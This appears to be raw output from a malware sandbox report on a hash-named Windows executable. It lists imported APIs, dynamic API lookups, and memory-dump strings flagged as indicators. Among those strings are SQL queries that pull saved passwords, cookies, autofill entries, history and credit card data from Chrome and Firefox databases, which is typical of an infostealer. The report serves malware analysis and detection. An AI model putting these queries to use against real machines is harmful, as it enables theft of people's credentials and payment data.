"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InternetReadFile (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InternetCrackUrlA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter StrCmpCA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter StrStrA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter StrCmpCW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter PathMatchSpecA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetModuleFileNameExA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RmStartSession (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RmRegisterResources (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RmGetList (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RmEndSession (UID: 00000000-00004348)2d:T680,"SELECT origin_url, username_value, password_value FROM logins" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select origin_url, username_value, password_value from logins") "SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select host_key, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800 name encrypted_value from cookies"), "SELECT name value FROM autofill" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select name value from autofill"), "SELECT url FROM urls LIMIT 1000" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select url from urls limit 1000"), "SELECT name_on_card expiration_month expiration_year card_number_encrypted FROM credit_cards" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select name_on_card expiration_month expiration_year card_number_encrypted from credit_cards"), "SELECT host isHttpOnly path isSecure expiry name value FROM moz_cookies" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select host ishttponly path issecure expiry name value from moz_cookies"), "SELECT fieldname value FROM moz_formhistory" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select fieldname value from moz_formhistory"), "SELECT url FROM moz_places LIMIT 1000" (Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp, Indicator: "select url from moz_places limit 1000")2e:Teecb,Found reference to API (Indicator: "GetLongPathNameA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "AnimateWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSACleanup"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "closesocket"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ioctlsocket"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "getpeername"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "getsockname"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "getsockopt"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "htonl"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "htons"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "inet_addr"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "inet_ntoa"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ntohl"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ntohs"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "recvfrom"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "gethostbyaddr"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "gethostbyname"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "gethostname"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "getservbyport"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "getservbyname"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "getprotobynumber"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "getprotobyname"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSASetLastError"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAGetLastError"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAsyncGetServByName"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAsyncGetServByPort"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAsyncGetProtoByName"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAsyncGetProtoByNumber"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAsyncGetHostByName"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAsyncGetHostByAddr"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSACancelAsyncRequest"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAsyncSelect"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "__WSAFDIsSet"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAGetOverlappedResult"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAGetQosByName"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAIoctl"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSASend"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSASocketA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAddressToStringA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAAddressToStringW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAStringToAddressA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAStringToAddressW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSALookupServiceBeginA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSALookupServiceBeginW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSALookupServiceNextA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSALookupServiceNextW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSALookupServiceEnd"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAInstallServiceClassA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAInstallServiceClassW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSARemoveServiceClass"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAGetServiceClassInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAGetServiceClassInfoW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAGetServiceClassNameByClassIdA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAGetServiceClassNameByClassIdW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSASetServiceA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSASetServiceW"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "TransmitFile"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "AcceptEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetAcceptExSockaddrs"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSARecvEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WSAStartup"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CoInitializeEx"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VirtualFree"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LocalFree"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LocalAlloc"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetVersion"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InterlockedDecrement"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VirtualQuery"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "lstrlenA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "lstrcpynA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetThreadLocale"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetStartupInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetProcAddress"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetLocaleInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FreeLibrary"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FindClose"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ExitProcess"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WriteFile"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RtlUnwind"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RaiseException"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetStdHandle"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetKeyboardType"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadStringA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "MessageBoxA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CharNextA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "RegCloseKey"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SysFreeString"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SysReAllocStringLen"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SysAllocStringLen"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "TlsSetValue"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "TlsGetValue"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "lstrcpyA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "Sleep"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SizeofResource"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetThreadLocale"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetFilePointer"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetEvent"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetErrorMode"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ResetEvent"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "ReadFile"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "MulDiv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LockResource"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadResource"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalReAlloc"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalHandle"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalLock"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalFree"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalFindAtomA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalDeleteAtom"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GlobalAddAtomA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetVersionExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetTickCount"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetTempPathA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetStringTypeExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetLocalTime"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetLastError"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetFullPathNameA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetFileSize"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDateFormatA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetCPInfo"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetACP"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FreeResource"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "InterlockedExchange"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FormatMessageA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "FindResourceA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "EnumCalendarInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateThread"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateFileA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateEventA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CompareStringA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CloseHandle"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "StretchBlt"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SetStretchBltMode"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "SelectObject"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetTextMetricsA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetTextExtentPoint32A"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetStockObject"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetObjectA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "GetDIBits"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DeleteObject"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "DeleteDC"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateSolidBrush"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateFontIndirectA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateCompatibleDC"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "BitBlt"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "CreateWindowExA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WindowFromPoint"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WinHelpA"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "WaitMessage"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "UpdateWindow"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API (Indicator: "UnregisterClassA"; File: 